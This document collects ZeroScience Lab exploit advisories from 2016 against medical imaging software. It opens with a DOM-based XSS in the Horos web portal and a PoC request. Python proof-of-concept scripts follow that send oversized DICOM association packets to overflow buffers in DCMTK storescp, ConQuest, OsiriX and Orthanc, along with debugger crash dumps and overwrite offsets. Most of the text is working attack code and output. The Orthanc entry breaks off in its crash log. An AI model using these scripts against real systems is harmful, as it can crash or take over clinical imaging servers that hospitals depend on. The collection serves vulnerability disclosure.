Horos 2.1.0 Cross Site Scripting

Horos 2.1.0 Web Portal DOM Based XSS

Vendor: Horos Project
Product web page: https://www.horosproject.org
Affected version: 2.1.0

Summary: HorosaC/ is an open-source, free medical image viewer. The goal of the
Horos Project is to develop a fully functional, 64-bit medical image viewer for
OS X. Horos is based upon OsiriX and other open source medical imaging libraries.

Desc: Horos suffers from a DOM-based XSS vulnerability because it doesn’t use proper sanitization
when user input goes to a dangerous HTML modification sink ((element).innerHTML). This can be
exploited to execute arbitrary HTML and script code in a user’s browser DOM in context of an
affected site.

Tested on: macOS 12.10.2 (Sierra)

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2016-5385
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5385.php

15.12.2016

——vuln—–

function fileSelected() {
var file = document.getElementById(‘fileToUpload’).files[0];
if (file) {
var fileSize = 0;
if (file.size > 1024 * 1024)
fileSize = (Math.round(file.size * 100 / (1024 * 1024)) / 100).toString() + ‘MB’;
else
fileSize = (Math.round(file.size * 100 / 1024) / 100).toString() + ‘KB’;

document.getElementById(‘fileName’).innerHTML = ‘Name: ‘ + file.name; // xss
document.getElementById(‘fileSize’).innerHTML = ‘Size: ‘ + fileSize;
document.getElementById(‘fileType’).innerHTML = ‘Type: ‘ + file.type;
}
}

function uploadFile()
{
document.getElementById(‘progressbar’).innerHTML = ‘0%’;
document.getElementById(“progressbar”).style.width = ‘0%’;
document.getElementById(“progressbar”).className = “progress-bar progress-bar-striped”;
document.getElementById(“upload_button”).className = “btn btn-default disabled”;

setTimeout(function(){

var fd = new FormData();
fd.append(“fileToUpload”, document.getElementById(‘fileToUpload’).files[0]);
var xhr = new XMLHttpRequest();
xhr.upload.addEventListener(“progress”, uploadProgress, false);
xhr.addEventListener(“load”, uploadComplete, false);
xhr.addEventListener(“error”, uploadFailed, false);
xhr.addEventListener(“abort”, uploadCanceled, false);
xhr.open(“POST”, “”, true);
xhr.send(fd);

}, 500);
}


// xss

——/vuln—–

Element output:

Name: .mp3

Fix: (element).innerText or (element).textContent

PoC payload: :

POST /main HTTP/1.1
Host: 127.0.0.1:3333
Content-Length: 3
Origin: http://127.0.0.1:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryBUg5yXYbUF1w5AEi
Accept: */*
Referer: http://127.0.0.1:3333/main
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: OSID=53B11D55703E7A7DA14AF867B2C7E346
DNT: 1
Connection: close

——WebKitFormBoundaryBUg5yXYbUF1w5AEi
Content-Disposition: form-data; name=”fileToUpload”; filename=”.mp3″
Content-Type: audio/mp3

ZSL
——WebKitFormBoundaryBUg5yXYbUF1w5AEi–

DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow

#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow
#
#
# Vendor: OFFIS e. V.
# Product web page: http://www.dcmtk.org
# Affected version: <= 3.6.0
# Not affected: DCMTK-3.6.1_20160216 - https://github.com/commontk/DCMTK/commit/1b6bb76
#
# http://www.idoimaging.com/programs?order=program.rdate&
#
# Summary: DCMTK is a collection of libraries and applications implementing large
# parts the DICOM standard. It includes software for examining, constructing and
# converting DICOM image files, handling offline media, sending and receiving images
# over a network connection, as well as demonstrative image storage and worklist
# servers. DCMTK is is written in a mixture of ANSI C and C++. It comes in complete
# source code and is made available as "open source" software.
#
# Desc: "At several places in the code a wrong length of ACSE data structures received
# over the network can cause overflows or underflows when processing those
# data structures. Related checks have been added at various places in order
# to prevent such (possible) attacks. Thanks to Kevin Basista for the report."
#
# The bug will indeed affect all DCMTK-based server applications that accept incoming
# DICOM network connections that are using the dcmtk-3.6.0 and earlier versions.
# Developers are advised to apply the patched-DCMTK-3.6.1_20160216 fix commit from
# Dec 14, 2015.
#
# ---------------------------------------------------------------------------------
#
# Process 27765 stopped
# * thread #1: tid = 0x3e4b46, 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x10380001b)
# frame #0: 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325
# storescp`parsePresentationContext:
# -> 0x1000a6f1d <+3325>: movb (%rax), %al
# 0x1000a6f1f <+3327>: movzbl %al, %eax
# 0x1000a6f22 <+3330>: cmpl $0x40, %eax
# 0x1000a6f25 <+3333>: movl %eax, -0xa74(%rbp)
# (lldb) re r
# General Purpose Registers:
# rax = 0x000000010380001b
# rbx = 0x0000000000000000
# rcx = 0x00000001002d40f0 vtable for log4cplus::spi::AppenderAttachable + 16
# rdx = 0x0000000000000010
# rdi = 0x00007fff5fbf78a0
# rsi = 0x3f7bc30000000000
# rbp = 0x00007fff5fbf7b30
# rsp = 0x00007fff5fbf7030
# r8 = 0x0000000100733918
# r9 = 0x00000000003e4b46
# r10 = 0x0000000100733920
# r11 = 0xffffffff00000000
# r12 = 0x0000000000000000
# r13 = 0x0000000000000000
# r14 = 0x0000000000000000
# r15 = 0x0000000000000000
# rip = 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325
# rflags = 0x0000000000010246
# cs = 0x000000000000002b
# fs = 0x0000000000000000
# gs = 0x0000000000000000
#
# (lldb)
#
# =====
#
# a bin ./storescp -d 4242
# D: $dcmtk: storescp v3.6.0 2011-01-06 $
# D:
# D: setting network receive timeout to 60 seconds
# D: PDU Type: Associate Request, PDU Length: 32881 + 6 bytes PDU header
# D: Only dumping 512 bytes.
# D: 01 00 00 00 80 71 00 01 00 00 4f 52 54 48 41 4e
# D: 43 20 20 20 20 20 20 20 20 20 54 45 53 54 53 55
# D: 49 54 45 00 00 00 00 00 00 00 00 00 00 00 00 00
# D: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
# D: 00 00 00 00 00 00 00 00 00 00 10 00 00 15 31 2e
# D: 32 2e 38 34 30 2e 31 30 30 30 38 2e 33 2e 31 2e
# D: 31 2e 31 20 00 80 00 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D:
# D: Parsing an A-ASSOCIATE PDU
# [1] 25553 segmentation fault ./storescp -d 4242
# a bin
#
# ---------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
# Microsoft Windows 7 Ultimate SP1 (EN)
# MacOS X 10.12.2 Sierra
# Linux Ubuntu 14.04.5
# FreeBSD 10.3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2016-5384
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5384.php
#
#
# 22.11.2016
#

import socket, sys

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
'\x31\x20\x00\x80\x00')

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
'\x52\x00\x00\x00')

buffer = '\x41\x42\x43\x44' * 10000

if len(sys.argv) < 3:
print '\nUsage: ' +sys.argv[0]+ ' '
print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242\n'
sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close

ConQuest DICOM Server 1.4.17d Remote Stack Buffer Overflow

#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# ConQuest DICOM Server 1.4.17d Remote Stack Buffer Overflow RCE
#
#
# Vendor: University of Manchester. Developed by Marcel van Herk, Lambert Zijp and Jan Meinders. The Netherlands Cancer Institute
# Product web page: https://ingenium.home.xs4all.nl/dicom.html | http://dicom.nema.org
# Affected version: 1.4.17d
# 1.4.19beta3a
# 1.4.19beta3b
#
# Summary: A full featured DICOM server has been developed based on the public
# domain UCDMC DICOM code. Some possible applications of the Conquest DICOM software
# are: DICOM training and testing; Demonstration image archives; Image format conversion
# from a scanner with DICOM network access; DICOM image slide making; DICOM image selection
# and (limited) editing; Automatic image forwarding and (de)compression.
#
# The vulnerability is caused due to the usage of vulnerable collection of libraries that
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote code execution
# and/or denial of service scenario.
#
# ------------------------------------------------------------------------------
# 0:002> g
# (820.fc4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Downloads\dicomserver1419beta3b\dgate64.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Downloads\dicomserver1419beta3b\dgate64.exe
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108 mov rdx,qword ptr [rcx+8] ds:42424242`4242424a=????????????????
# 0:002> r
# rax=0000000044444444 rbx=000000000298c910 rcx=4242424242424242
# rdx=000001400046001a rsi=0000000000001105 rdi=000000000041dc50
# rip=000000013fe09a29 rsp=000000000298b840 rbp=000000000298e8e4
# r8=000000000041dc40 r9=0000000000000402 r10=0000000000000281
# r11=0000013f004a0019 r12=0000000000003eb7 r13=0000000000000000
# r14=0000000000000000 r15=000000000298c910
# iopl=0 nv up ei pl nz na po nc
# cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108 mov rdx,qword ptr [rcx+8] ds:42424242`4242424a=????????????????
# 0:002> u
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108 mov rdx,qword ptr [rcx+8]
# 00000001`3fe09a2d 488b4110 mov rax,qword ptr [rcx+10h]
# 00000001`3fe09a31 4885d2 test rdx,rdx
# 00000001`3fe09a34 7406 je dgate64+0xb9a3c (00000001`3fe09a3c)
# 00000001`3fe09a36 48894210 mov qword ptr [rdx+10h],rax
# 00000001`3fe09a3a eb04 jmp dgate64+0xb9a40 (00000001`3fe09a40)
# 00000001`3fe09a3c 48894328 mov qword ptr [rbx+28h],rax
# 00000001`3fe09a40 488b5110 mov rdx,qword ptr [rcx+10h]
# 0:002>
# dgate64+0xb9a44:
# 00000001`3fe09a44 488b4108 mov rax,qword ptr [rcx+8]
# 00000001`3fe09a48 4885d2 test rdx,rdx
# 00000001`3fe09a4b 7406 je dgate64+0xb9a53 (00000001`3fe09a53)
# 00000001`3fe09a4d 48894208 mov qword ptr [rdx+8],rax
# 00000001`3fe09a51 eb04 jmp dgate64+0xb9a57 (00000001`3fe09a57)
# 00000001`3fe09a53 48894330 mov qword ptr [rbx+30h],rax
# 00000001`3fe09a57 ba18000000 mov edx,18h
# 00000001`3fe09a5c e804caf4ff call dgate64+0x6465 (00000001`3fd56465)
# 0:002> kb e
# # RetAddr : Args to Child : Call Site
# 00 00000001`3fe104d2 : 00000000`00457a28 00000000`00008014 00000000`0298b8d9 00000000`00000000 : dgate64+0xb9a29
# 01 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : dgate64+0xc04d2
# 02 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 03 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 04 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 05 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 06 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 07 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 08 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 09 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0a 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0b 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0c 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0d 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0:002> !exchain
# 100 stack frames, scanning for handlers...
# Frame 0x01: dgate64+0xc04d2 (00000001`3fe104d2)
# ehandler dgate64+0x552e (00000001`3fd5552e)
# Frame 0x02: error getting module for 4141414141414141
# Frame 0x03: error getting module for 4141414141414141
# Frame 0x04: error getting module for 4141414141414141
# Frame 0x05: error getting module for 4141414141414141
# Frame 0x06: error getting module for 4141414141414141
# Frame 0x07: error getting module for 4141414141414141
# Frame 0x08: error getting module for 4141414141414141
# Frame 0x09: error getting module for 4141414141414141
# Frame 0x0a: error getting module for 4141414141414141
# Frame 0x0b: error getting module for 4141414141414141
# Frame 0x0c: error getting module for 4141414141414141
# Frame 0x0d: error getting module for 4141414141414141
# Frame 0x0e: error getting module for 4141414141414141
# Frame 0x0f: error getting module for 4141414141414141
# Frame 0x10: error getting module for 4141414141414141
# Frame 0x11: error getting module for 4141414141414141
# Frame 0x12: error getting module for 4141414141414141
# Frame 0x13: error getting module for 4141414141414141
# Frame 0x14: error getting module for 4141414141414141
# Frame 0x15: error getting module for 4141414141414141
# Frame 0x16: error getting module for 4141414141414141
# ...
# ...
# Frame 0x61: error getting module for 4141414141414141
# Frame 0x62: error getting module for 4141414141414141
# Frame 0x63: error getting module for 4141414141414141
# 0:002> g
#
# STATUS_STACK_BUFFER_OVERRUN encountered
# (820.fc4): Break instruction exception - code 80000003 (first chance)
# kernel32!UnhandledExceptionFilter+0x71:
# 00000000`7796bb21 cc int 3
# 0:002> g
# ntdll!ZwWaitForSingleObject+0xa:
# 00000000`77a3bb7a c3 ret
#
# ------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
# Microsoft Windows 7 Ultimate SP1 (EN)
# Linux Ubuntu 14.04.5
# Solaris 10
# macOS/10.12.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2016-5383
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5383.php
#
#
# 22.11.2016
#

import socket, sys

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
'\x31\x20\x00\x80\x00')

# 33406 bytes
buffer = '\x41' * 20957 # STACK OVERFLOW / SEH OVERWRITE
buffer += '\x42' * 8 # RCX = 4242424242424242
buffer += '\x43' * 8 # defiler ;]
buffer += '\x44\x44\x44\x44' # EAX = 44444444 / RAX = 0000000044444444
buffer += '\x45' * 12429

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
'\x52\x00\x00\x00')

print 'Sending '+str(len(buffer))+' bytes of data!'

if len(sys.argv) < 3:
print '\nUsage: ' +sys.argv[0]+ ' '
print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 5678\n'
sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(17)
s.send(hello+buffer+bye)
s.close

OsiriX DICOM Viewer 8.0.1 (dulparse.cc) Remote Memory Corruption

#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# OsiriX DICOM Viewer 8.0.1 (dulparse.cc) Remote Memory Corruption Vulnerability
#
#
# Vendor: Pixmeo Sarl
# Product web page: http://www.osirix-viewer.com
# Affected version: OsiriX 8.0.1
#
# Summary: With high performance and an intuitive interactive user interface, OsiriX MD is
# the most widely used DICOM viewer in the world. It is the result of more than 10 years of
# research and development in digital imaging. It fully supports the DICOM standard for an
# easy integration in your workflow environment and an open platform for development of
# processing tools. It offers advanced post-processing techniques in 2D and 3D, exclusive
# innovative technique for 3D and 4D navigation and a complete integration with any PACS.
# OsiriX MD supports 64-bit computing and multithreading for the best performances on the
# most modern processors. OsiriX MD is certified for medical use, FDA cleared and CE II labeled.
#
# Summary2: OsiriX is an image processing application for Mac dedicated to DICOM images
# (".dcm" / ".DCM" extension) produced by equipment (MRI, CT, PET, PET-CT, ...).
# Osirix is complementary to existing viewers, in particular to nuclear medicine viewers.
#
# Desc: The vulnerability is caused due to the usage of vulnerable collection of libraries that
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote code execution
# and/or denial of service scenario.
#
# -------------------------------------------------------------------------------------
#
# (lldb)
# Process 65202 stopped
# * thread #20: tid = 0x2c5fcc, 0x0000000108978441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833, name = 'DICOM Store-SCP', stop reason = EXC_BAD_ACCESS (code=1, address=0x7fb5af00fda1)
# frame #0: 0x0000000108978441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
# OsiriX Lite`parseAssociate:
# -> 0x108978441 <+833>: movzbl (%r10), %eax
# 0x108978445 <+837>: cmpl $0x40, %eax
# 0x108978448 <+840>: movq -0x200(%rbp), %rcx
# 0x10897844f <+847>: je 0x108978513 ; <+1043>
# (lldb) bt
# * thread #19: tid = 0x2f6189, 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833, name = 'DICOM Store-SCP', stop reason = EXC_BAD_ACCESS (code=1, address=0x7fab8ac000a1)
# * frame #0: 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
# frame #1: 0x0000000102fe4363 OsiriX Lite`AE_6_ExamineAssociateRequest(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, void*) + 339
# frame #2: 0x0000000102fe14ca OsiriX Lite`PRV_StateMachine(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, int, void*) + 314
# frame #3: 0x0000000102fdae9c OsiriX Lite`DUL_ReceiveAssociationRQ(void**, DUL_BLOCKOPTIONS, int, DUL_ASSOCIATESERVICEPARAMETERS*, void**, int) + 4348
# frame #4: 0x0000000102facf1e OsiriX Lite`ASC_receiveAssociation(T_ASC_Network*, T_ASC_Association**, long, void**, unsigned int*, bool, DUL_BLOCKOPTIONS, int) + 462
# frame #5: 0x0000000102c5f28f OsiriX Lite`DcmQueryRetrieveSCP::waitForAssociation(T_ASC_Network*) + 207
# frame #6: 0x0000000102c3f9c7 OsiriX Lite`-[DCMTKQueryRetrieveSCP run] + 4999
# frame #7: 0x0000000102987a37 OsiriX Lite`-[AppController startSTORESCP:] + 519
# frame #8: 0x00007fff975b030d Foundation`__NSThread__start__ + 1243
# frame #9: 0x00007fffab021aab libsystem_pthread.dylib`_pthread_body + 180
# frame #10: 0x00007fffab0219f7 libsystem_pthread.dylib`_pthread_start + 286
# frame #11: 0x00007fffab021221 libsystem_pthread.dylib`thread_start + 13
# (lldb) register read
# General Purpose Registers:
# rax = 0x0000000000000103
# rbx = 0x00000001044c18d8 OsiriX Lite`ECC_Normal
# rcx = 0x00006100002e6200
# rdx = 0x000000000001ad41
# rdi = 0x00000001044c18d8 OsiriX Lite`ECC_Normal
# rsi = 0x00006100002e6200
# rbp = 0x0000700005a4a670
# rsp = 0x0000700005a4a420
# r8 = 0x0000000000000103
# r9 = 0x00000000fb40cfc6
# r10 = 0x00007fab8ac000a1
# r11 = 0x0000000000000041
# r12 = 0x0000700005a4a6b8
# r13 = 0x00000001044c18f0 OsiriX Lite`EC_Normal
# r14 = 0x00000001044c18d8 OsiriX Lite`ECC_Normal
# r15 = 0x0000000000008014
# rip = 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
# rflags = 0x0000000000010286
# cs = 0x000000000000002b
# fs = 0x0000000000000000
# gs = 0x0000000000000000
#
# -------------------------------------------------------------------------------------
#
# Tested on: OS X 10.12.2 (Sierra)
# OS X 10.12.1 (Sierra)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2016-5382
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5382.php
#
# https://tools.ietf.org/html/rfc3240
# https://github.com/commontk/DCMTK/commit/1b6bb76
#
# 29.11.2016
#

import sys, socket

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
'\x31\x20\x00\x80\x00')

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
'\x52\x00\x00\x00')

buffer = '\x41\x42\x43\x44' * 10000

if len(sys.argv) < 3:
print '\nUsage: ' +sys.argv[0]+ ' '
print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 11112\n'
sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close

Orthanc DICOM Server 1.1.0 Remote Memory Corruption

#!/usr/bin/env python
# -*- coding: utf8 -*-
#
# Orthanc DICOM Server 1.1.0 Remote Memory Corruption Vulnerability
#
#
# Vendor: SA(c)bastien Jodogne
# Product web page: http://www.orthanc-server.com
# Affected version: 1.1.0
#
# Summary: Orthanc is a Belgian, open-source, lightweight RESTful DICOM server
# for healthcare and medical research with an ubiquitous web interface that
# enables you to upload, receive and transfer DICOM images. It comes with
# a REST API to automate imaging flows and an SDK to integrate with native
# applications.
#
# Desc: The vulnerability is caused due to the usage of vulnerable collection
# of libraries that are part of DCMTK Toolkit, specifically the parser for the
# DICOM Upper Layer Protocol or DUL. Stack/Heap Buffer overflow/underflow can be
# triggered when sending and processing wrong length of ACSE data structure received
# over the network by the DICOM Store-SCP service. An attacker can overflow the stack
# and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote
# code execution and/or denial of service scenario.
#
# -------------------------------------------------------------------------------
#
# ==5299== Memcheck, a memory error detector
# ==5299== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
# ==5299== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
# ==5299== Command: ./Orthanc
# ==5299==
# W1201 17:35:34.724792 main.cpp:1235] Orthanc version: mainline (20161129T150442)
# W1201 17:35:34.804810 main.cpp:1092] Performance warning: Non-release build, runtime debug assertions are turned on
# W1201 17:35:35.042122 OrthancInitialization.cpp:125] Reading the configuration from: "/home/lqwrm/Subversion/orthanc/Resources/Configuration.json"
# W1201 17:35:35.272799 FromDcmtkBridge.cpp:141] Loading the external DICOM dictionary "/usr/share/libdcmtk2/dicom.dic"
# W1201 17:35:35.905845 FromDcmtkBridge.cpp:141] Loading the external DICOM dictionary "/usr/share/libdcmtk2/private.dic"
# W1201 17:35:36.407249 OrthancInitialization.cpp:488] Registering JPEG Lossless codecs
# W1201 17:35:36.417571 OrthancInitialization.cpp:493] Registering JPEG codecs
# W1201 17:35:36.846619 OrthancInitialization.cpp:986] SQLite index directory: "/ssd/lqwrm/Subversion/orthanc/i/OrthancStorage"
# W1201 17:35:36.999809 OrthancInitialization.cpp:1056] Storage directory: "/ssd/lqwrm/Subversion/orthanc/i/OrthancStorage"
# W1201 17:35:38.247567 LuaContext.cpp:103] Lua says: Lua toolbox installed
# W1201 17:35:38.319095 ServerScheduler.cpp:134] The server scheduler has started
# W1201 17:35:38.332937 HttpClient.cpp:680] No certificates are provided to validate peers, set "HttpsCACertificates" if you need to do HTTPS requests
# W1201 17:35:38.345479 ServerContext.cpp:181] Disk compression is disabled
# W1201 17:35:38.358374 ServerIndex.cpp:1392] No limit on the number of stored patients
# W1201 17:35:38.361704 ServerIndex.cpp:1409] No limit on the size of the storage area
# W1201 17:35:38.688634 main.cpp:822] DICOM server listening with AET ORTHANC on port: 4242
# W1201 17:35:38.715241 MongooseServer.cpp:887] This version of OpenSSL is vulnerable to the Heartbleed exploit
# W1201 17:35:38.721902 MongooseServer.cpp:1027] HTTP compression is enabled
# W1201 17:35:38.887721 main.cpp:757] HTTP server listening on port: 8042
# W1201 17:35:38.890026 main.cpp:644] Orthanc has started
# ==5299== Thread 11:
# ==5299== Invalid read of size 1
# ==5299== at 0x5ECEBD: parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) (dulparse.cc:389)
# ==5299== by 0x5EC6A0: parseAssociate(unsigned char*, unsigned long, dul_associatepdu*) (dulparse.cc:234)
# ==5299== by 0x5E0131: AE_6_ExamineAssociateRequest(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, void*) (dulfsm.cc:1158)
# ==5299== by 0x5DF125: PRV_StateMachine(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, int, void*) (dulfsm.cc:750)
# ==5299== by 0x56DF26: DUL_ReceiveAssociationRQ(void**, DUL_BLOCKOPTIONS, int, DUL_ASSOCIATESERVICEPARAMETERS*, void**, int) (dul.cc:669)
